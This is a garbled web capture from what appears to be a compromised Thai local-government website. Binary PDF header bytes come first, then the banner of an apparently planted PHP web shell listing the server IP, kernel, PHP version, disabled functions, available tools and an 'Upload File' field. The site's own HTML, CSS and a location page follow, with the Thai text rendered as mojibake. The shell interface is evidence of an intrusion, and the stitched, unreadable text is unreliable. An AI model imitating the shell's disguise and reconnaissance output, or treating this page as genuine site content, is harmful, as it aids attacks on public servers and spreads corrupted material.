%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : apache ( 994) PHP Version : 5.3.29 Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/moungngam/domains/moungngam.go.th/public_html/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- InstanceBegin template="/Templates/template.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<!-- InstanceBeginEditable name="doctitle" -->
<!-- InstanceEndEditable -->
<title>ͧ¤ì¡ÒúÃÔËÒÃÊèǹµÓºÅÁèǧ§ÒÁ µÓºÅÁèǧ§ÒÁ ÍÓàÀÍàÊÒäËé ¨Ñ§ËÇÑ´ÊÃкØÃÕ 18160 : www.moungngam.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_preloadImages() { //v3.0
var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}
//-->
</script>
<script type="text/javascript" language="JavaScript1.2" src="stm31.js"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Kanit:wght@500;600;700;800&family=Sarabun:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<style>
:root{
--ink-navy:#5B3A96;
--ink-navy-d:#2E1B54;
--canal-teal:#8E5FC2;
--canal-teal-d:#6B3FA0;
--rice-gold:#E4649C;
--rice-gold-d:#C6437E;
--purple-light:#D9C3ED;
--paper:#FAF6FC;
--paper-2:#F1E8F8;
--charcoal:#2B2B2B;
--line:#E4D6F0;
--alert:#B23A2E;
--white:#FFFFFF;
--radius:14px;
--shadow:0 6px 24px rgba(27,58,92,0.08);
--font-body:'Sarabun',sans-serif;
--font-display:'Kanit',sans-serif;
}
*{box-sizing:border-box;}
html{scroll-behavior:smooth;}
body{
margin:0;
font-family:var(--font-body);
color:var(--charcoal);
background:var(--paper);
line-height:1.7;
}
h1,h2,h3,h4,.font-display{font-family:var(--font-display);}
a{color:inherit;}
img{max-width:100%;display:block;}
.skip-link{
position:absolute;left:-999px;top:0;background:var(--ink-navy);color:#fff;
padding:10px 18px;z-index:200;border-radius:0 0 8px 0;
}
.skip-link:focus{left:0;}
:focus-visible{outline:3px solid var(--rice-gold);outline-offset:2px;}
.wrap{max-width:1180px;margin:0 auto;padding:0 20px;}
.eyebrow{
font-family:var(--font-display);font-weight:700;letter-spacing:.06em;
color:var(--canal-teal);text-transform:uppercase;font-size:13px;margin:0 0 8px;
}
.section-title{font-size:clamp(22px,3vw,30px);font-weight:700;color:var(--ink-navy);margin:0 0 6px;}
.section-sub{color:#5b5b5b;margin:0 0 28px;font-size:15px;}
section{padding:56px 0;}
.wave{display:block;width:100%;height:34px;line-height:0;}
.wave svg{width:100%;height:100%;}
/* ---------- Utility bar ---------- */
.utility-bar{background:var(--ink-navy-d);color:#dfe8ef;font-size:13.5px;}
.utility-bar .wrap{display:flex;flex-wrap:wrap;gap:10px;justify-content:space-between;align-items:center;padding-top:7px;padding-bottom:7px;}
.utility-bar a{text-decoration:none;opacity:.9;}
.utility-bar a:hover{opacity:1;text-decoration:underline;}
.utility-left{display:flex;gap:18px;flex-wrap:wrap;align-items:center;}
.utility-right{display:flex;gap:16px;flex-wrap:wrap;align-items:center;}
.a11y-btn{
background:rgba(255,255,255,.12);border:1px solid rgba(255,255,255,.25);color:#fff;
border-radius:6px;padding:2px 8px;cursor:pointer;font-family:var(--font-body);font-size:12px;
}
.a11y-btn:hover{background:rgba(255,255,255,.22);}
/* ---------- Header ---------- */
header.site-header{background:var(--white);border-bottom:1px solid var(--line);}
.brand-row{display:flex;align-items:center;gap:16px;padding:18px 0;flex-wrap:wrap;}
.emblem{width:64px;height:64px;flex:none;object-fit:contain;border-radius:8px;}
.brand-text h1{font-size:clamp(18px,2.6vw,24px);color:var(--ink-navy);margin:0;font-weight:700;}
.brand-text p{margin:2px 0 0;font-size:13.5px;color:#5b5b5b;}
.brand-contact{margin-left:auto;text-align:right;font-size:13.5px;color:#4a4a4a;}
.brand-contact strong{color:var(--ink-navy);}
/* ---------- Nav ---------- */
nav.main-nav{background:var(--canal-teal);position:sticky;top:0;z-index:100;box-shadow:0 2px 8px rgba(0,0,0,.08);}
.nav-inner{display:flex;align-items:center;}
.nav-toggle{display:none;background:none;border:none;color:#fff;font-size:22px;padding:14px 20px;cursor:pointer;}
.menu{list-style:none;margin:0;padding:0;display:flex;flex-wrap:wrap;}
.menu > li{position:relative;}
.menu > li > a, .menu > li > button{
display:flex;align-items:center;gap:8px;color:#fff;text-decoration:none;font-family:var(--font-display);
font-weight:500;font-size:14.5px;padding:14px 16px;background:none;border:none;cursor:pointer;
}
.menu > li > a:hover, .menu > li:hover > button, .menu > li > button[aria-expanded="true"]{background:var(--canal-teal-d);}
.nav-ico{
width:19px;height:19px;flex:none;display:inline-flex;align-items:center;justify-content:center;
color:var(--rice-gold);
}
.nav-ico svg{width:100%;height:100%;fill:none;stroke:currentColor;stroke-width:1.8;stroke-linecap:round;stroke-linejoin:round;}
.menu > li > a .nav-ico, .menu > li > button .nav-ico{color:#f6d7e4;}
.menu > li > a:hover .nav-ico, .menu > li:hover > button .nav-ico{color:var(--rice-gold);}
.dropdown{
display:none;position:absolute;left:0;top:100%;background:#fff;min-width:270px;
box-shadow:var(--shadow);border-radius:0 0 10px 10px;padding:8px 0;border-top:3px solid var(--rice-gold);
}
.menu > li:hover .dropdown, .menu > li .dropdown.open{display:block;}
.dropdown a{display:flex;align-items:center;gap:9px;padding:9px 18px;color:var(--charcoal);text-decoration:none;font-size:14px;}
.dropdown a:hover{background:var(--paper-2);color:var(--ink-navy);}
.dropdown a .nav-ico{width:16px;height:16px;color:var(--canal-teal);}
.dropdown a:hover .nav-ico{color:var(--rice-gold-d);}
.dropdown .grp-label{padding:10px 18px 4px;font-size:11.5px;font-weight:700;letter-spacing:.05em;color:var(--canal-teal);text-transform:uppercase;}
/* ---------- Hero ---------- */
.hero{
background:
radial-gradient(circle at 85% 0%, rgba(228,100,156,.35) 0%, transparent 45%),
linear-gradient(160deg, var(--purple-light) 0%, var(--canal-teal) 32%, var(--ink-navy) 68%, var(--ink-navy-d) 100%);
color:#fff;padding:44px 0 60px;
}
.hero-grid{display:grid;grid-template-columns:1.3fr 1fr;gap:34px;align-items:center;}
.hero-tag{display:inline-block;background:rgba(255,255,255,.12);border:1px solid rgba(255,255,255,.28);
padding:5px 12px;border-radius:999px;font-size:12.5px;font-family:var(--font-display);margin-bottom:14px;}
.hero h2{font-size:clamp(24px,3.4vw,34px);margin:0 0 12px;line-height:1.35;}
.hero h2 a{color:#fff;text-decoration:none;}
.hero h2 a:hover{text-decoration:underline;text-decoration-color:var(--rice-gold);}
.hero p{color:#d8e2ea;max-width:56ch;}
.cta-row{display:flex;flex-wrap:wrap;gap:12px;margin-top:20px;}
.btn{
display:inline-flex;align-items:center;gap:8px;font-family:var(--font-display);font-weight:600;
text-decoration:none;padding:11px 18px;border-radius:10px;font-size:14.5px;transition:transform .15s ease;
}
.btn:hover{transform:translateY(-2px);}
.btn-gold{background:var(--rice-gold);color:var(--ink-navy-d);}
.btn-gold:hover{background:#dcab48;}
.btn-outline{background:transparent;border:1.5px solid rgba(255,255,255,.55);color:#fff;}
.btn-outline:hover{background:rgba(255,255,255,.1);}
.btn-teal{background:var(--canal-teal);color:#fff;}
.btn-teal:hover{background:var(--canal-teal-d);}
.quick-card{background:rgba(255,255,255,.08);border:1px solid rgba(255,255,255,.18);border-radius:var(--radius);padding:20px;backdrop-filter:blur(2px);}
.quick-card h3{margin:0 0 12px;font-size:15px;color:#fff;}
.quick-list{list-style:none;margin:0;padding:0;display:grid;gap:8px;}
.quick-list a{display:flex;justify-content:space-between;gap:8px;background:rgba(255,255,255,.06);
padding:10px 12px;border-radius:8px;text-decoration:none;color:#f1f5f8;font-size:13.8px;}
.quick-list a:hover{background:rgba(255,255,255,.16);}
/* ---------- Stat strip ---------- */
.stat-strip{background:var(--paper-2);border-bottom:1px solid var(--line);}
.stat-grid{display:flex;flex-wrap:wrap;gap:0;padding:16px 0;}
.stat-item{flex:1 1 130px;text-align:center;padding:8px 6px;border-right:1px solid var(--line);}
.stat-item:last-child{border-right:none;}
.stat-item b{display:block;font-family:var(--font-display);font-size:19px;color:var(--ink-navy);}
.stat-item span{font-size:12px;color:#6b6b6b;}
/* ---------- News / procurement ---------- */
.two-col{display:grid;grid-template-columns:1fr 1fr;gap:32px;}
.panel{background:#fff;border:1px solid var(--line);border-radius:var(--radius);box-shadow:var(--shadow);overflow:hidden;}
.panel-head{display:flex;align-items:center;justify-content:space-between;padding:16px 20px;background:var(--ink-navy);color:#fff;}
.panel-head h3{margin:0;font-size:16.5px;display:flex;align-items:center;gap:9px;}
.panel-head a{font-size:12.5px;color:#cfe0ea;text-decoration:none;}
.panel-head a:hover{text-decoration:underline;}
.panel-body{padding:6px 4px;}
.item-list{list-style:none;margin:0;padding:0;}
.item-list li{border-bottom:1px solid var(--line);}
.item-list li:last-child{border-bottom:none;}
.item-list a{display:flex;gap:12px;padding:14px 18px;text-decoration:none;color:var(--charcoal);align-items:baseline;}
.item-list a:hover .item-title{color:var(--canal-teal);text-decoration:underline;}
.item-title{font-size:14.5px;font-weight:500;flex:1;}
.item-meta{font-size:12px;color:#8a8a8a;white-space:nowrap;flex:none;}
.tag-red{background:var(--alert);}
.tag-teal{background:var(--canal-teal);}
.item-list .dot{width:7px;height:7px;border-radius:50%;flex:none;margin-top:6px;}
/* ---------- ITA ---------- */
.ita-banner{display:grid;grid-template-columns:100% 1fr;gap:16px;align-items:center;background:#fff;
border:1px solid var(--line);border-radius:var(--radius);box-shadow:var(--shadow);padding:22px;margin-bottom:30px;}
.ita-banner img{border-radius:10px;}
.ita-banner h3{color:var(--ink-navy);margin:0 0 8px;font-size:19px;}
.ita-groups{display:grid;gap:14px;}
.ita-group{background:#fff;border:1px solid var(--line);border-radius:12px;overflow:hidden;}
.ita-group > summary{
list-style:none;cursor:pointer;padding:14px 18px;display:flex;align-items:center;gap:12px;
font-family:var(--font-display);font-weight:600;color:var(--ink-navy);background:var(--paper-2);
}
.ita-group > summary::-webkit-details-marker{display:none;}
.ita-group > summary::after{content:"+";margin-left:auto;font-size:20px;color:var(--canal-teal);}
.ita-group[open] > summary::after{content:"–";}
.ita-badge{
width:28px;height:28px;border-radius:50%;background:var(--canal-teal);color:#fff;
display:flex;align-items:center;justify-content:center;font-size:11.5px;font-weight:700;flex:none;
}
.ita-items{list-style:none;margin:0;padding:10px 18px 16px;display:grid;gap:2px;}
.ita-items li a{display:flex;gap:10px;padding:8px 6px;text-decoration:none;color:var(--charcoal);font-size:14px;border-radius:6px;}
.ita-items li a:hover{background:var(--paper-2);color:var(--canal-teal-d);}
.ita-num{font-family:var(--font-display);color:var(--rice-gold-d);font-weight:700;flex:none;min-width:34px;}
.ita-sub{padding-left:44px;font-size:13px;color:#666;}
.ita-sub a{color:#666;text-decoration:none;}
.ita-sub a:hover{color:var(--canal-teal-d);text-decoration:underline;}
/* ---------- Webboard ---------- */
.board-grid{display:grid;grid-template-columns:repeat(3,1fr);gap:20px;}
.board-card{background:#fff;border:1px solid var(--line);border-radius:var(--radius);box-shadow:var(--shadow);overflow:hidden;display:flex;flex-direction:column;}
.board-q{padding:18px 18px 14px;border-bottom:1px dashed var(--line);}
.board-q a{color:var(--rice-gold-d);text-decoration:none;font-weight:600;font-size:16px;font-family:var(--font-display);}
.board-q a:hover{text-decoration:underline;}
.board-meta{font-size:12.5px;color:#7a7a7a;margin-top:8px;line-height:1.9;}
.board-a{padding:16px 18px;background:#fafcfb;flex:1;}
.board-a .lbl{color:var(--canal-teal-d);font-weight:700;font-size:13px;margin-bottom:8px;}
.board-a .who{font-weight:600;font-size:14px;margin-bottom:6px;}
.board-a .txt{font-size:13.5px;color:#444;}
.board-a .dt{font-size:11.5px;color:#999;margin-top:10px;}
/* ---------- Poll + admin ---------- */
.side-two{display:grid;grid-template-columns:1fr 1fr;gap:24px;}
.poll-card, .admin-card{background:#fff;border:1px solid var(--line);border-radius:var(--radius);box-shadow:var(--shadow);padding:22px;}
.poll-card h3, .admin-card h3{margin:0 0 14px;color:var(--ink-navy);font-size:17px;display:flex;align-items:center;gap:9px;}
.poll-opt{display:flex;align-items:center;gap:10px;padding:8px 0;border-bottom:1px solid var(--paper-2);font-size:14.5px;}
.poll-opt input{width:17px;height:17px;accent-color:var(--canal-teal);}
.poll-actions{display:flex;gap:10px;flex-wrap:wrap;margin-top:16px;}
.field{margin-bottom:12px;}
.field label{display:block;font-size:13px;margin-bottom:4px;color:#555;}
.field input{width:100%;padding:9px 11px;border:1px solid var(--line);border-radius:8px;font-family:var(--font-body);}
/* ---------- Links grid / library ---------- */
.link-grid{display:grid;grid-template-columns:repeat(4,1fr);gap:12px;}
.link-chip{display:flex;align-items:center;gap:10px;background:#fff;border:1px solid var(--line);border-radius:10px;
padding:12px 14px;text-decoration:none;color:var(--charcoal);font-size:13.5px;}
.link-chip:hover{border-color:var(--canal-teal);color:var(--canal-teal-d);}
.link-chip .sq{width:9px;height:9px;background:var(--rice-gold);border-radius:2px;flex:none;}
.media-frame{border:1px solid var(--line);border-radius:var(--radius);overflow:hidden;box-shadow:var(--shadow);background:#fff;}
.media-frame iframe{width:100%;border:none;display:block;}
/* ---------- Footer (wave + light/shadow + background image) ---------- */
footer.site-footer{
position:relative;
background:
linear-gradient(180deg, rgba(46,27,84,.88) 0%, rgba(46,27,84,.96) 55%, var(--ink-navy-d) 100%),
url('http://www.moungngam.go.th//images/2026/f1.png');
background-size:cover;
background-position:center bottom;
background-repeat:no-repeat;
color:#cfd9e1;
padding:0 0 26px;
overflow:hidden;
box-shadow:inset 0 12px 30px -12px rgba(0,0,0,.55);
}
.footer-wave-top{
position:relative;width:100%;height:64px;line-height:0;margin-top:-2px;
}
.footer-wave-top svg{width:100%;height:100%;display:block;}
.footer-wave-top .wave-a{animation:footerWaveDrift 14s linear infinite;}
.footer-wave-top .wave-b{animation:footerWaveDrift 22s linear infinite reverse;opacity:.55;}
@keyframes footerWaveDrift{
from{transform:translateX(0);}
to{transform:translateX(-50%);}
}
.footer-glow{
position:absolute;top:-40px;left:50%;transform:translateX(-50%);
width:70%;height:160px;
background:radial-gradient(ellipse at center, rgba(228,100,156,.35) 0%, rgba(142,95,194,.18) 45%, transparent 75%);
filter:blur(6px);pointer-events:none;z-index:0;
}
footer.site-footer .wrap{position:relative;z-index:2;padding-top:38px;}
footer.site-footer h4{color:#fff;font-size:15px;margin:0 0 12px;text-shadow:0 2px 6px rgba(0,0,0,.4);display:flex;align-items:center;gap:8px;}
footer.site-footer a{color:#cfd9e1;text-decoration:none;font-size:13.8px;}
footer.site-footer a:hover{color:var(--rice-gold);}
footer.site-footer ul{list-style:none;margin:0;padding:0;display:grid;gap:8px;}
.footer-grid{display:grid;grid-template-columns:2fr 1fr 1fr;gap:32px;}
.footer-bottom{border-top:1px solid rgba(255,255,255,.14);margin-top:30px;padding-top:18px;
display:flex;justify-content:space-between;flex-wrap:wrap;gap:10px;font-size:12.5px;color:#b9c7d3;}
/* ---------- Floating widgets ---------- */
.float-stack{position:fixed;right:20px;bottom:20px;display:flex;flex-direction:column;gap:10px;z-index:150;}
.float-btn{width:52px;height:52px;border-radius:50%;display:flex;align-items:center;justify-content:center;
color:#fff;box-shadow:0 6px 16px rgba(0,0,0,.25);text-decoration:none;}
.float-btn svg{width:22px;height:22px;fill:#fff;}
.fb-top{background:var(--ink-navy);}
.fb-phone{background:#1a9c63;}
.fb-mail{background:var(--rice-gold-d);}
.fb-msg{background:#5b57d6;}
.contrast-mode{--paper:#ffffff;--paper-2:#f0f0f0;--charcoal:#000000;--line:#000000;}
/* ---------- Top hero slider (header banner) — full-bleed, edge-to-edge ---------- */
.top-hero-slider-wrap{background:var(--ink-navy-d);width:100%;}
.top-hero-slider{
width:100%;
margin:0;
border-radius:0;
overflow:hidden;
box-shadow:none;
border:none;
position:relative;
aspect-ratio:1870/620;
background:var(--ink-navy-d);
}
.th-slide a{display:block;width:100%;height:100%;}
.th-slide{position:absolute;inset:0;opacity:0;transition:opacity 1.1s ease;overflow:hidden;}
.th-slide.active{opacity:1;z-index:2;}
.th-slide img{width:100%;height:100%;object-fit:cover;object-position:center;display:block;}
.th-slide.active img{animation:kenburns 9s ease-in-out forwards;}
@keyframes kenburns{from{transform:scale(1.12);}to{transform:scale(1);}}
.th-caption{
position:absolute;left:20px;bottom:44px;color:#fff;font-family:var(--font-display);
font-weight:600;font-size:15px;text-shadow:0 2px 8px rgba(0,0,0,.5);
background:rgba(46,27,84,.4);padding:7px 16px;border-radius:999px;
backdrop-filter:blur(3px);z-index:3;
}
.th-prev,.th-next{
position:absolute;top:50%;transform:translateY(-50%);z-index:5;
background:rgba(46,27,84,.5);color:#fff;border:none;width:42px;height:42px;
border-radius:50%;cursor:pointer;font-size:22px;line-height:1;
}
.th-prev:hover,.th-next:hover{background:rgba(228,100,156,.85);}
.th-prev{left:16px;}
.th-next{right:16px;}
.th-dots{position:absolute;bottom:14px;left:0;right:0;display:flex;justify-content:center;gap:8px;z-index:5;}
.th-dot{width:10px;height:10px;border-radius:50%;background:rgba(255,255,255,.55);border:none;cursor:pointer;padding:0;}
.th-dot.active{background:#fff;box-shadow:0 0 0 2px rgba(228,100,156,.8);}
/* ---------- Hero sky effects: floating clouds + flying birds ---------- */
.th-sky{position:absolute;inset:0;z-index:4;pointer-events:none;overflow:hidden;}
.th-cloud{position:absolute;opacity:.85;filter:drop-shadow(0 6px 10px rgba(0,0,0,.08));will-change:transform;}
.th-cloud svg{width:100%;height:100%;display:block;}
.th-cloud.c1{top:8%;left:-22%;width:220px;height:auto;animation:driftCloud 42s linear infinite;}
.th-cloud.c2{top:18%;left:-30%;width:150px;height:auto;opacity:.65;animation:driftCloud 60s linear infinite;animation-delay:-14s;}
.th-cloud.c3{top:4%;left:-26%;width:170px;height:auto;opacity:.55;animation:driftCloud 52s linear infinite;animation-delay:-30s;}
.th-cloud.c4{top:26%;left:-20%;width:120px;height:auto;opacity:.5;animation:driftCloud 70s linear infinite;animation-delay:-8s;}
@keyframes driftCloud{
from{transform:translateX(0);}
to{transform:translateX(160vw);}
}
.th-bird{position:absolute;will-change:transform;}
.th-bird svg{display:block;}
.th-bird.b1{top:22%;left:-6%;width:34px;animation:flyBird 16s linear infinite;}
.th-bird.b2{top:14%;left:-10%;width:24px;animation:flyBird 13s linear infinite;animation-delay:-4s;}
.th-bird.b3{top:32%;left:-8%;width:20px;animation:flyBird 19s linear infinite;animation-delay:-9s;}
.th-bird.b4{top:10%;left:-12%;width:16px;animation:flyBird 22s linear infinite;animation-delay:-15s;}
@keyframes flyBird{
from{transform:translate(0,0);}
25%{transform:translate(30vw,-14px);}
50%{transform:translate(60vw,6px);}
75%{transform:translate(90vw,-10px);}
to{transform:translate(122vw,0);}
}
.th-bird .wing{animation:flapWing .5s ease-in-out infinite alternate;transform-box:fill-box;transform-origin:center;}
.th-bird .wing.left{animation-delay:0s;}
.th-bird .wing.right{animation-delay:0s;}
@keyframes flapWing{
from{transform:scaleY(1) translateY(0);}
to{transform:scaleY(.35) translateY(2px);}
}
/* ---------- Gallery carousel (3 per row, scrollable) ---------- */
.gallery-section{background:var(--paper);}
.gallery-carousel{position:relative;}
.gallery-track-wrap{
overflow-x:auto;scroll-snap-type:x mandatory;scrollbar-width:none;
border-radius:var(--radius);
}
.gallery-track-wrap::-webkit-scrollbar{display:none;}
.gallery-track{display:flex;gap:16px;}
.gallery-item{
scroll-snap-align:start;flex:0 0 calc((100% - 32px)/3);
border-radius:12px;overflow:hidden;box-shadow:var(--shadow);
border:1px solid var(--line);background:#fff;aspect-ratio:4/3;
}
.gallery-item a, .gallery-item .no-link{display:block;width:100%;height:100%;}
.gallery-item img{width:100%;height:100%;object-fit:cover;display:block;transition:transform .45s ease;}
.gallery-item:hover img{transform:scale(1.06);}
.gallery-nav{display:flex;justify-content:flex-end;gap:10px;margin-top:14px;}
.gallery-nav button{
background:var(--ink-navy);color:#fff;border:none;width:40px;height:40px;
border-radius:50%;cursor:pointer;font-size:20px;line-height:1;
}
.gallery-nav button:hover{background:var(--rice-gold-d);}
@media (max-width:980px){.gallery-item{flex:0 0 calc((100% - 16px)/2);}}
@media (max-width:620px){.gallery-item{flex:0 0 88%;} .top-hero-slider{border-radius:0;}}
@media (prefers-reduced-motion: reduce){
.th-cloud, .th-bird, .th-bird .wing, .footer-wave-top .wave-a, .footer-wave-top .wave-b{animation:none !important;}
}
@media (max-width:980px){
.hero-grid, .two-col, .side-two{grid-template-columns:1fr;}
.board-grid{grid-template-columns:1fr;}
.link-grid{grid-template-columns:repeat(2,1fr);}
.footer-grid{grid-template-columns:1fr;}
.ita-banner{grid-template-columns:1fr;text-align:center;}
.nav-toggle{display:block;margin-left:auto;}
.menu{display:none;flex-direction:column;width:100%;}
.menu.open{display:flex;}
.menu > li{width:100%;}
.dropdown{position:static;box-shadow:none;border-top:none;background:var(--canal-teal-d);border-radius:0;}
.dropdown a{color:#fff;}
.dropdown a:hover{background:rgba(255,255,255,.1);color:#fff;}
.dropdown a .nav-ico{color:#f6d7e4;}
.dropdown a:hover .nav-ico{color:var(--rice-gold);}
.nav-inner{flex-wrap:wrap;}
}
</style>
</head>
<body>
<a class="skip-link" href="#main">¢éÒÁä»Âѧà¹×éÍËÒËÅÑ¡</a>
<!-- ================= UTILITY BAR ================= -->
<div class="utility-bar">
<div class="wrap">
<div class="utility-left">
<span> 036-271-689 · 036-271-688</span>
<a href="mailto:saraban_06191009@dla.go.th"> saraban_06191009@dla.go.th</a>
</div>
<div class="utility-right">
<a href="http://www.moungngam.go.th/webmail/" target="_blank" rel="noopener">Webmail</a>
<a href="/ITA.php">ITA</a>
<a href="/LPA63/LPA1.php">LPA</a>
<a href="/admin/index.php" target="_blank" rel="noopener">Admin</a>
<a href="https://www.facebook.com/PASWorldCommunication?fref=ts" target="_blank" rel="noopener">Facebook</a>
<button class="a11y-btn" onclick="adjustFont(-1)" aria-label="Å´¢¹Ò´µÑÇÍÑ¡ÉÃ">¡-</button>
<button class="a11y-btn" onclick="adjustFont(1)" aria-label="à¾ÔèÁ¢¹Ò´µÑÇÍÑ¡ÉÃ">¡+</button>
<button class="a11y-btn" onclick="toggleContrast()" aria-label="ÊÅѺâËÁ´¤Í¹·ÃÒʵìÊÙ§">µÑ´¡Ñ¹ÊÙ§</button>
</div>
</div>
</div>
<!-- ================= HEADER ================= -->
<header class="site-header">
<div class="wrap brand-row">
<img class="emblem" src="http://www.moungngam.go.th/images/1logo.png" alt="µÃÒÊÑÅѡɳì ͺµ.Áèǧ§ÒÁ" />
<div class="brand-text">
<h1>ͧ¤ì¡ÒúÃÔËÒÃÊèǹµÓºÅÁèǧ§ÒÁ</h1>
<p>µÓºÅÁèǧ§ÒÁ ÍÓàÀÍàÊÒäËé ¨Ñ§ËÇÑ´ÊÃкØÃÕ 18160</p>
</div>
<div class="brand-contact">
<div><strong>â·ÃÈѾ·ì</strong> 036-271-689 · 036-271-688</div>
<div>àÇçºä«µìà»Ô´ãªé§Ò¹ 4 ÊÔ§ËÒ¤Á ¾.È. 2558</div>
</div>
</div>
</header>
<!-- ================= NAV ================= -->
<nav class="main-nav" aria-label="àÁ¹ÙËÅÑ¡">
<div class="wrap nav-inner">
<button class="nav-toggle" aria-label="à»Ô´àÁ¹Ù" aria-expanded="false" onclick="toggleMenu(this)">?</button>
<ul class="menu" id="mainMenu">
<li><a href="/index.php"><span class="nav-ico"><svg viewBox="0 0 24 24"><path d="M3 11.5 12 4l9 7.5"/><path d="M5.5 10v9a1 1 0 0 0 1 1H9a1 1 0 0 0 1-1v-4a1 1 0 0 1 1-1h2a1 1 0 0 1 1 1v4a1 1 0 0 0 1 1h2.5a1 1 0 0 0 1-1v-9"/></svg></span>˹éÒáá</a></li>
<li><a href="/news.php?cat_id=13"><span class="nav-ico"><svg viewBox="0 0 24 24"><path d="M12 2 3 6v6c0 5 4 8.5 9 10 5-1.5 9-5 9-10V6l-9-4Z"/><path d="M9 12l2 2 4-4.5"/></svg></span>»ÃСÒÈÊͺÃҤҨѴ«×éͨѴ¨éÒ§</a></li>
<li><a href="/news.php?cat_id=1"><span class="nav-ico"><svg viewBox="0 0 24 24"><path d="M12 2 3 6v6c0 5 4 8.5 9 10 5-1.5 9-5 9-10V6l-9-4Z"/><path d="M9 12l2 2 4-4.5"/></svg></span>¢èÒÇ»ÃЪÒÊÑÁ¾Ñ¹¸ì</a></li>
<li><a href="/albums/index.php"><span class="nav-ico"><svg viewBox="0 0 24 24"><path d="M12 2 3 6v6c0 5 4 8.5 9 10 5-1.5 9-5 9-10V6l-9-4Z"/><path d="M9 12l2 2 4-4.5"/></svg></span>ÀÒ¾¡Ô¨¡ÃÃÁ</a></li>
<li><a href="/contacts/?scon_id=1"><span class="nav-ico"><svg viewBox="0 0 24 24"><path d="M12 2 3 6v6c0 5 4 8.5 9 10 5-1.5 9-5 9-10V6l-9-4Z"/><path d="M9 12l2 2 4-4.5"/></svg></span>ÊÒµç¹Ò¡</a></li>
<li><a href="/ITA.php"><span class="nav-ico"><svg viewBox="0 0 24 24"><path d="M12 2 3 6v6c0 5 4 8.5 9 10 5-1.5 9-5 9-10V6l-9-4Z"/><path d="M9 12l2 2 4-4.5"/></svg></span>ITA</a></li>
<li><a href="E-Service.php" style="background:var(--rice-gold-d);border-radius:6px;"><span class="nav-ico" style="color:#fff;"><svg viewBox="0 0 24 24"><rect x="3" y="4" width="18" height="14" rx="2"/><path d="M3 9h18"/><circle cx="8" cy="6.5" r=".4" fill="currentColor" stroke="none"/><path d="M8 15l2 2 4-4"/></svg></span>E-Service</a></li>
</ul>
</div>
</nav>
<main id="main">
<!-- ================= TOP HERO SLIDER ================= -->
<!-- ================= HERO ================= -->
<!-- ================= STATS ================= -->
<!-- ================= IMAGE GALLERY (3 per row, scrollable) ================= -->
<!-- ================= NEWS / PROCUREMENT ================= -->
<div class="ita-banner" align="center">
<div align="center">
<!-- InstanceBeginEditable name="EditRegion3" -->
<table width="98%" border="0" cellspacing="2" cellpadding="2">
<tr>
<td colspan="2"><div align="center"><img src="images/2.png" width="600" height="53"></div></td>
</tr>
<tr>
<td colspan="2" class="title2"> </td>
</tr>
<tr>
<td colspan="2" class="title2"><div align="center"></div></td>
</tr>
<tr>
<td colspan="2" class="title2"><img src="images/19-2.gif" width="15" height="13"> ÅѡɳзÕèµÑé§</td>
</tr>
<tr>
<td> </td>
<td class="styles1"><div align="left"><STRONG>·ÕèµÑé§áÅÐÍÒ³Òࢵ</STRONG></div></td>
</tr>
<tr>
<td> </td>
<td class="styles1"> ·Õè·Ó¡ÒÃͧ¤ì¡ÒúÃÔËÒÃÊèǹµÓºÅÁèǧ§ÒÁ µÑé§ÍÂÙèàÅ¢·Õè 25/3 ËÁÙè·Õè 1 µÓºÅÁèǧ§ÒÁ ÍÓàÀÍàÊÒäËé ¨Ñ§ËÇÑ´ÊÃкØÃÕ ÃÐÂÐËèÒ§¨Ò¡ÍÓàÀÍàÊÒäËé»ÃÐÁÒ³ 4 ¡ÔâÅàÁµÃ</td>
</tr>
<tr>
<td> </td>
<td class="styles1"><div align="left">
<table cellspacing="0" cellpadding="0">
<TR>
<TD valign="top"><TABLE cellSpacing="0" cellPadding="0" border="0">
<TBODY>
<TR>
<TD width="26"></TD>
<TD width="120" class="styles1"><STRONG>·ÔÈà˹×Í<BR>
·ÔÈãµé<BR>
·ÔȵÐÇѹÍÍ¡ <BR>
·ÔȵÐÇѹµ¡ </STRONG></TD>
<TD width="77" class="styles1"> µÔ´µè͡Ѻ<BR>
µÔ´µè͡Ѻ<BR>
µÔ´µè͡Ѻ<BR>
µÔ´µè͡Ѻ</TD>
<TD width="462" class="styles1"><p> áÁè¹éÓ»èÒÊÑ¡<br>
µÓºÅä¡èàÊèÒ ÍÓàÀÍ˹ͧ᫧ ¨Ñ§ËÇÑ´ÊÃкØÃÕ<br>
µÓºÅàÁ×ͧà¡èÒ ÍÓàÀÍàÊÒäËé ¨Ñ§ËÇÑ´ÊÃкØÃÕ<br>
µÓºÅàÃÔ§ÃÒ§ ÍÓàÀÍàÊÒäËé ¨Ñ§ËÇÑ´ÊÃкØÃÕ</p></TD>
</TR>
</TBODY>
</TABLE></TD>
</TR>
<TR>
<TD> </TD>
</TR>
</table>
</div></td>
</tr>
<tr>
<td> </td>
<td class="styles2"><div align="left"><STRONG>¾×é¹·Õè</STRONG></div></td>
</tr>
<tr>
<td> </td>
